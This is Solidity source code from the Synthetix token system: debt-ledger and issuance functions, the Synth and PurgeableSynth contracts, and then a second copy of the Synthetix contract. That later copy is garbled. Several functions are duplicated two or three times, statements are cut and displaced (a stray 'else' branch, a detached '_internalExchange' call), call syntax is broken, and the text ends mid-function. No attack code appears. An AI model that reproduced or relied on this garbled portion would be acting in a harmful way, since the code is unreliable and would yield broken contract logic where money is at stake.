totalIssuedSynths("XDR"); // What will the new total after taking out the withdrawn amount uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove); uint delta; // What will the debt delta be if there is any debt left? // Set delta to 0 if no more debt left in system after user if (newTotalDebtIssued > 0) { // What is the percentage of the withdrawn debt (as a high precision int) of the total debt after? uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued); // And what effect does this percentage change have on the global debt holding of other issuers? // The delta specifically needs to not take into account any existing debt as it&#39;s already // accounted for in the delta from when they issued previously. delta = SafeDecimalMath.preciseUnit().add(debtPercentage); } else { delta = 0; } // Are they exiting the system, or are they just decreasing their debt position? if (debtToRemove == existingDebt) { synthetixState.setCurrentIssuanceData(messageSender, 0); synthetixState.decrementTotalIssuerCount(); } else { // What percentage of the debt will they be left with? uint newDebt = existingDebt.sub(debtToRemove); uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued); // Store the debt percentage and debt ledger as high precision integers synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage); } // Update our cumulative ledger. This is also a high precision integer. synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); } // ========== Issuance/Burning ========== /** * @notice The maximum synths an issuer can issue against their total synthetix quantity, priced in XDRs. * This ignores any already issued synths, and is purely giving you the maximimum amount the user can issue. */ function maxIssuableSynths(address issuer, bytes4 currencyKey) public view // We don&#39;t need to check stale rates here as effectiveValue will do it for us. returns (uint) { // What is the value of their SNX balance in the destination currency? uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey); // They&#39;re allowed to issue up to issuanceRatio of that value return destinationValue.multiplyDecimal(synthetixState.issuanceRatio()); } /** * @notice The current collateralisation ratio for a user. Collateralisation ratio varies over time * as the value of the underlying Synthetix asset changes, e.g. if a user issues their maximum available * synths when they hold $10 worth of Synthetix, they will have issued $2 worth of synths. If the value * of Synthetix changes, the ratio returned by this function will adjust accordlingly. Users are * incentivised to maintain a collateralisation ratio as close to the issuance ratio as possible by * altering the amount of fees they&#39;re able to claim from the system. */ function collateralisationRatio(address issuer) public view returns (uint) { uint totalOwnedSynthetix = collateral(issuer); if (totalOwnedSynthetix == 0) return 0; uint debtBalance = debtBalanceOf(issuer, "SNX"); return debtBalance.divideDecimalRound(totalOwnedSynthetix); } /** * @notice If a user issues synths backed by SNX in their wallet, the SNX become locked. This function * will tell you how many synths a user has to give back to the system in order to unlock their original * debt position. This is priced in whichever synth is passed in as a currency key, e.g. you can price * the debt in sUSD, XDR, or any other synth you wish. */ function debtBalanceOf(address issuer, bytes4 currencyKey) public view // Don&#39;t need to check for stale rates here because totalIssuedSynths will do it for us returns (uint) { // What was their initial debt ownership? uint initialDebtOwnership; uint debtEntryIndex; (initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer); // If it&#39;s zero, they haven&#39;t issued, and they have no debt. if (initialDebtOwnership == 0) return 0; // Figure out the global debt percentage delta from when they entered the system. // This is a high precision integer. uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry() .divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex)) .multiplyDecimalRoundPrecise(initialDebtOwnership); // What&#39;s the total value of the system in their requested currency? uint totalSystemValue = totalIssuedSynths(currencyKey); // Their debt balance is their portion of the total system value. uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal() .multiplyDecimalRoundPrecise(currentDebtOwnership); return highPrecisionBalance.preciseDecimalToDecimal(); } /** * @notice The remaining synths an issuer can issue against their total synthetix balance. * @param issuer The account that intends to issue * @param currencyKey The currency to price issuable value in */ function remainingIssuableSynths(address issuer, bytes4 currencyKey) public view // Don&#39;t need to check for synth existing or stale rates because maxIssuableSynths will do it for us. returns (uint) { uint alreadyIssued = debtBalanceOf(issuer, currencyKey); uint max = maxIssuableSynths(issuer, currencyKey); if (alreadyIssued >= max) { return 0; } else { return max.sub(alreadyIssued); } } /** * @notice The total SNX owned by this account, both escrowed and unescrowed, * against which synths can be issued. * This includes those already being used as collateral (locked), and those * available for further issuance (unlocked). */ function collateral(address account) public view returns (uint) { uint balance = tokenState.balanceOf(account); if (escrow != address(0)) { balance = balance.add(escrow.balanceOf(account)); } if (rewardEscrow != address(0)) { balance = balance.add(rewardEscrow.balanceOf(account)); } return balance; } /** * @notice The number of SNX that are free to be transferred by an account. * @dev When issuing, escrowed SNX are locked first, then non-escrowed * SNX are locked last, but escrowed SNX are not transferable, so they are not included * in this calculation. */ function transferableSynthetix(address account) public view rateNotStale("SNX") returns (uint) { // How many SNX do they have, excluding escrow? // Note: We&#39;re excluding escrow here because we&#39;re interested in their transferable amount // and escrowed SNX are not transferable. uint balance = tokenState.balanceOf(account); // How many of those will be locked by the amount they&#39;ve issued? // Assuming issuance ratio is 20%, then issuing 20 SNX of value would require // 100 SNX to be locked in their wallet to maintain their collateralisation ratio // The locked synthetix value can exceed their balance. uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio()); // If we exceed the balance, no SNX are transferable, otherwise the difference is. if (lockedSynthetixValue >= balance) { return 0; } else { return balance.sub(lockedSynthetixValue); } } function mint() external returns (bool) { require(rewardEscrow != address(0), "Reward Escrow destination missing"); uint supplyToMint = supplySchedule.mintableSupply(); require(supplyToMint > 0, "No supply is mintable"); supplySchedule.updateMintValues(); // Set minted SNX balance to RewardEscrow&#39;s balance // Minus the minterReward and set balance of minter to add reward uint minterReward = supplySchedule.minterReward(); tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward))); emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward)); // Tell the FeePool how much it has to distribute feePool.rewardsMinted(supplyToMint.sub(minterReward)); // Assign the minters reward. tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward)); emitTransfer(this, msg.sender, minterReward); totalSupply = totalSupply.add(supplyToMint); } // ========== MODIFIERS ========== modifier rateNotStale(bytes4 currencyKey) { require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Fee address not allowed"); _; } modifier onlySynth() { bool isSynth = false; // No need to repeatedly call this function either for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == msg.sender) { isSynth = true; break; } } require(isSynth, "Only synth allowed"); _; } modifier nonZeroAmount(uint _amount) { require(_amount > 0, "Amount needs to be larger than 0"); _; } modifier onlyOracle { require(msg.sender == exchangeRates.oracle(), "Only the oracle can perform this action"); _; } // ========== EVENTS ========== /* solium-disable */ event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress); bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)"); function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal { proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0); } /* solium-enable */ } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: Synth.sol version: 2.0 author: Kevin Brown date: 2018-09-13 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Synthetix-backed stablecoin contract. This contract issues synths, which are tokens that mirror various flavours of fiat currency. Synths are issuable by Synthetix Network Token (SNX) holders who have to lock up some value of their SNX to issue S * Cmax synths. Where Cmax issome value less than 1. A configurable fee is charged on synth transfers and deposited into a common pot, which Synthetix holders may withdraw from once per fee period. ----------------------------------------------------------------- */ contract Synth is ExternStateToken { /* ========== STATE VARIABLES ========== */ IFeePool public feePool; Synthetix public synthetix; // Currency key which identifies this Synth to the Synthetix system bytes4 public currencyKey; uint8 constant DECIMALS = 18; /* ========== CONSTRUCTOR ========== */ constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey ) ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner) public { require(_proxy != 0, "_proxy cannot be 0"); require(address(_synthetix) != 0, "_synthetix cannot be 0"); require(address(_feePool) != 0, "_feePool cannot be 0"); require(_owner != 0, "_owner cannot be 0"); require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use"); feePool = _feePool; synthetix = _synthetix; currencyKey = _currencyKey; } /* ========== SETTERS ========== */ function setSynthetix(Synthetix _synthetix) external optionalProxy_onlyOwner { synthetix = _synthetix; emitSynthetixUpdated(_synthetix); } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; emitFeePoolUpdated(_feePool); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Override ERC20 transfer function in order to * subtract the transaction fee and send it to the fee pool * for SNX holders to claim. */ function transfer(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); // Send the fee off to the fee pool. synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); // And send their result off to the destination address bytes memory empty; return _internalTransfer(messageSender, to, amountReceived, empty); } /** * @notice Override ERC223 transfer function in order to * subtract the transaction fee and send it to the fee pool * for SNX holders to claim. */ function transfer(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); // And send their result off to the destination address return _internalTransfer(messageSender, to, amountReceived, data); } /** * @notice Override ERC20 transferFrom function in order to * subtract the transaction fee and send it to the fee pool * for SNX holders to claim. */ function transferFrom(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { // The fee is deducted from the amount sent. uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); // Reduce the allowance by the amount we&#39;re transferring. // The safeSub call will handle an insufficient allowance. tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); // Send the fee off to the fee pool. synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, amountReceived, empty); } /** * @notice Override ERC223 transferFrom function in order to * subtract the transaction fee and send it to the fee pool * for SNX holders to claim. */ function transferFrom(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { // The fee is deducted from the amount sent. uint amountReceived = feePool.amountReceivedFromTransfer(value); uint fee = value.sub(amountReceived); // Reduce the allowance by the amount we&#39;re transferring. // The safeSub call will handle an insufficient allowance. tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value)); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, amountReceived, data); } /* Subtract the transfer fee from the senders account so the * receiver gets the exact amount specified to send. */ function transferSenderPaysFee(address to, uint value) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); // And send their transfer amount off to the destination address bytes memory empty; return _internalTransfer(messageSender, to, value, empty); } /* Subtract the transfer fee from the senders account so the * receiver gets the exact amount specified to send. */ function transferSenderPaysFee(address to, uint value, bytes data) public optionalProxy notFeeAddress(messageSender) returns (bool) { uint fee = feePool.transferFeeIncurred(value); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee); // And send their transfer amount off to the destination address return _internalTransfer(messageSender, to, value, data); } /* Subtract the transfer fee from the senders account so the * to address receives the exact amount specified to send. */ function transferFromSenderPaysFee(address from, address to, uint value) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); // Reduce the allowance by the amount we&#39;re transferring. // The safeSub call will handle an insufficient allowance. tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(from, currencyKey, fee); bytes memory empty; return _internalTransfer(from, to, value, empty); } /* Subtract the transfer fee from the senders account so the * to address receives the exact amount specified to send. */ function transferFromSenderPaysFee(address from, address to, uint value, bytes data) public optionalProxy notFeeAddress(from) returns (bool) { uint fee = feePool.transferFeeIncurred(value); // Reduce the allowance by the amount we&#39;re transferring. // The safeSub call will handle an insufficient allowance. tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee))); // Send the fee off to the fee pool, which we don&#39;t want to charge an additional fee on synthetix.synthInitiatedFeePayment(from, currencyKey, fee); return _internalTransfer(from, to, value, data); } // Override our internal transfer to inject preferred currency support function _internalTransfer(address from, address to, uint value, bytes data) internal returns (bool) { bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to); // Do they have a preferred currency that&#39;s not us? If so we need to exchange if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) { return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to); } else { // Otherwise we just transfer return super._internalTransfer(from, to, value, data); } } // Allow synthetix to issue a certain number of synths from an account. function issue(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount)); totalSupply = totalSupply.add(amount); emitTransfer(address(0), account, amount); emitIssued(account, amount); } // Allow synthetix or another synth contract to burn a certain number of synths from an account. function burn(address account, uint amount) external onlySynthetixOrFeePool { tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount)); totalSupply = totalSupply.sub(amount); emitTransfer(account, address(0), amount); emitBurned(account, amount); } // Allow owner to set the total supply on import. function setTotalSupply(uint amount) external optionalProxy_onlyOwner { totalSupply = amount; } // Allow synthetix to trigger a token fallback call from our synths so users get notified on // exchange as well as transfer function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount) external onlySynthetixOrFeePool { bytes memory empty; callTokenFallbackIfNeeded(sender, recipient, amount, empty); } /* ========== MODIFIERS ========== */ modifier onlySynthetixOrFeePool() { bool isSynthetix = msg.sender == address(synthetix); bool isFeePool = msg.sender == address(feePool); require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action"); _; } modifier notFeeAddress(address account) { require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address"); _; } /* ========== EVENTS ========== */ event SynthetixUpdated(address newSynthetix); bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)"); function emitSynthetixUpdated(address newSynthetix) internal { proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0); } event FeePoolUpdated(address newFeePool); bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)"); function emitFeePoolUpdated(address newFeePool) internal { proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0); } event Issued(address indexed account, uint value); bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)"); function emitIssued(address account, uint value) internal { proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0); } event Burned(address indexed account, uint value); bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)"); function emitBurned(address account, uint value) internal { proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0); } } /* ----------------------------------------------------------------- FILE INFORMATION ----------------------------------------------------------------- file: PurgeableSynth.sol version: 1.0 author: Justin J. Moses date: 2019-05-22 ----------------------------------------------------------------- MODULE DESCRIPTION ----------------------------------------------------------------- Purgeable synths are a subclass of Synth that allows the owner to exchange all holders of the Synth back into sUSD. In order to reduce gas load on the system, and to repurpose older synths no longer used, purge allows the owner to These are used only for frozen or deprecated synths, and the total supply is hard-coded to ----------------------------------------------------------------- */ contract PurgeableSynth is Synth { using SafeDecimalMath for uint; // The maximum allowed amount of tokenSupply in equivalent sUSD value for this synth to permit purging uint public maxSupplyToPurgeInUSD = 10000 * SafeDecimalMath.unit(); // 10,000 // Track exchange rates so we can determine if supply in USD is below threshpld at purge time ExchangeRates public exchangeRates; /* ========== CONSTRUCTOR ========== */ constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool, string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey, ExchangeRates _exchangeRates ) Synth(_proxy, _tokenState, _synthetix, _feePool, _tokenName, _tokenSymbol, _owner, _currencyKey) public { exchangeRates = _exchangeRates; } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Function that allows owner to exchange any number of holders back to sUSD (for frozen or deprecated synths) * @param addresses The list of holders to purge */ function purge(address[] addresses) external optionalProxy_onlyOwner { uint maxSupplyToPurge = exchangeRates.effectiveValue("sUSD", maxSupplyToPurgeInUSD, currencyKey); // Only allow purge when total supply is lte the max or the rate is frozen in ExchangeRates require( totalSupply <= maxSupplyToPurge || exchangeRates.rateIsFrozen(currencyKey), "Cannot purge as total supply is above threshold and rate is not frozen." ); for (uint8 i = 0; i < addresses.length; i++) { address holder = addresses[i]; uint amountHeld = balanceOf(holder); if (amountHeld > 0) { synthetix.synthInitiatedExchange(holder, currencyKey, amountHeld, "sUSD", holder); emitPurged(holder, amountHeld); } } } /* ========== SETTERS ========== */ function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } /* ========== EVENTS ========== */ event Purged(address indexed account, uint value); bytes32 constant PURGED_SIG = keccak256("Purged(address,uint256)"); function emitPurged(address account, uint value) internal { proxy._emit(abi.encode(value), 2, PURGED_SIG, bytes32(account), 0, 0); } }
* @title Synthetix ERC20 contract. @notice The Synthetix contracts not only facilitates transfers, exchanges, and tracks balances, but it also computes the quantity of fees each synthetix holder is entitled to./ ========== STATE VARIABLES ========== Available Synths which can be used with the system ========== CONSTRUCTOR ==========
contract Synthetix is ExternStateToken { Synth[] public availableSynths; mapping(bytes4 => Synth) public synths; IFeePool public feePool; ISynthetixEscrow public escrow; ISynthetixEscrow public rewardEscrow; ExchangeRates public exchangeRates; SynthetixState public synthetixState; SupplySchedule public supplySchedule; bool private protectionCircuit = false; string constant TOKEN_NAME = "Synthetix Network Token"; string constant TOKEN_SYMBOL = "SNX"; uint8 constant DECIMALS = 18; bool public exchangeEnabled = true; constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState, address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule, ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply ) ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner) public ----------------------------------------------------------------- { synthetixState = _synthetixState; exchangeRates = _exchangeRates; feePool = _feePool; supplySchedule = _supplySchedule; rewardEscrow = _rewardEscrow; escrow = _escrow; } function setFeePool(IFeePool _feePool) external optionalProxy_onlyOwner { feePool = _feePool; } function setExchangeRates(ExchangeRates _exchangeRates) external optionalProxy_onlyOwner { exchangeRates = _exchangeRates; } function setProtectionCircuit(bool _protectionCircuitIsActivated) external onlyOracle { protectionCircuit = _protectionCircuitIsActivated; } function setExchangeEnabled(bool _exchangeEnabled) external optionalProxy_onlyOwner { exchangeEnabled = _exchangeEnabled; } function addSynth(Synth synth) external optionalProxy_onlyOwner { bytes4 currencyKey = synth.currencyKey(); require(synths[currencyKey] == Synth(0), "Synth already exists"); availableSynths.push(synth); synths[currencyKey] = synth; } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } function removeSynth(bytes4 currencyKey) external optionalProxy_onlyOwner { require(synths[currencyKey] != address(0), "Synth does not exist"); require(synths[currencyKey].totalSupply() == 0, "Synth supply exists"); require(currencyKey != "XDR", "Cannot remove XDR synth"); address synthToRemove = synths[currencyKey]; for (uint8 i = 0; i < availableSynths.length; i++) { if (availableSynths[i] == synthToRemove) { delete availableSynths[i]; availableSynths[i] = availableSynths[availableSynths.length - 1]; availableSynths.length--; break; } } delete synths[currencyKey]; } function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey) public view returns (uint) { return exchangeRates.effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function totalIssuedSynths(bytes4 currencyKey) public view rateNotStale(currencyKey) returns (uint) { uint total = 0; uint currencyRate = exchangeRates.rateForCurrency(currencyKey); require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale"); for (uint8 i = 0; i < availableSynths.length; i++) { uint synthValue = availableSynths[i].totalSupply() .multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey())) .divideDecimalRound(currencyRate); total = total.add(synthValue); } return total; } function availableCurrencyKeys() public view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableCurrencyKeys() public view returns (bytes4[]) { bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length); for (uint8 i = 0; i < availableSynths.length; i++) { availableCurrencyKeys[i] = availableSynths[i].currencyKey(); } return availableCurrencyKeys; } function availableSynthCount() public view returns (uint) { return availableSynths.length; } function transfer(address to, uint value) public returns (bool) { bytes memory empty; return transfer(to, value, empty); } function transfer(address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(messageSender), "Insufficient balance"); _transfer_byProxy(messageSender, to, value, data); return true; } function transferFrom(address from, address to, uint value) public returns (bool) { bytes memory empty; return transferFrom(from, to, value, empty); } function transferFrom(address from, address to, uint value, bytes data) public optionalProxy returns (bool) { require(value <= transferableSynthetix(from), "Insufficient balance"); _transferFrom_byProxy(messageSender, from, to, value, data); return true; } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); if (protectionCircuit) { return _internalLiquidation( messageSender, sourceCurrencyKey, sourceAmount ); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, ); } } function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress) external optionalProxy returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths"); require(sourceAmount > 0, "Zero amount"); if (protectionCircuit) { return _internalLiquidation( messageSender, sourceCurrencyKey, sourceAmount ); return _internalExchange( messageSender, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, messageSender, ); } } } else { function synthInitiatedExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress ) external onlySynth returns (bool) { require(sourceCurrencyKey != destinationCurrencyKey, "Can&#39;t be same synth"); require(sourceAmount > 0, "Zero amount"); return _internalExchange( from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, destinationAddress, ); } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can&#39;t be 0"); from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), ); return result; } function synthInitiatedFeePayment( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) external onlySynth returns (bool) { if (sourceAmount == 0) { return true; } require(sourceAmount > 0, "Source can&#39;t be 0"); from, sourceCurrencyKey, sourceAmount, "XDR", feePool.FEE_ADDRESS(), ); return result; } bool result = _internalExchange( feePool.feePaid(sourceCurrencyKey, sourceAmount); function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(exchangeEnabled, "Exchanging is disabled"); require(!exchangeRates.priceUpdateLock(), "Price update lock"); require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } return true; } function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(exchangeEnabled, "Exchanging is disabled"); require(!exchangeRates.priceUpdateLock(), "Price update lock"); require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } return true; } synths[destinationCurrencyKey].issue(destinationAddress, amountReceived); function _internalExchange( address from, bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress, bool chargeFee ) internal notFeeAddress(from) returns (bool) { require(exchangeEnabled, "Exchanging is disabled"); require(!exchangeRates.priceUpdateLock(), "Price update lock"); require(destinationAddress != address(0), "Zero destination"); require(destinationAddress != address(this), "Synthetix is invalid destination"); require(destinationAddress != address(proxy), "Proxy is invalid destination"); synths[sourceCurrencyKey].burn(from, sourceAmount); uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey); uint amountReceived = destinationAmount; uint fee = 0; if (chargeFee) { amountReceived = feePool.amountReceivedFromExchange(destinationAmount); fee = destinationAmount.sub(amountReceived); } if (fee > 0) { uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR"); synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount); feePool.feePaid("XDR", xdrFeeAmount); } return true; } synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived); emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress); function _internalLiquidation( address from, bytes4 sourceCurrencyKey, uint sourceAmount ) internal returns (bool) { synths[sourceCurrencyKey].burn(from, sourceAmount); return true; } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued); uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage); uint existingDebt = debtBalanceOf(messageSender, "XDR"); if (existingDebt > 0) { debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued); } if (!synthetixState.hasIssued(messageSender)) { synthetixState.incrementTotalIssuerCount(); } if (synthetixState.debtLedgerLength() > 0) { synthetixState.appendDebtLedgerValue( synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta) ); synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit()); } } function _addToDebtRegister(bytes4 currencyKey, uint amount) internal optionalProxy { uint xdrValue = effectiveValue(currencyKey, amount, "XDR"); uint totalDebtIssued = totalIssuedSynths("XDR"); uint newTotalDebtIssued = xdrValue.add(totalDebtIssued); uint debtPercentage 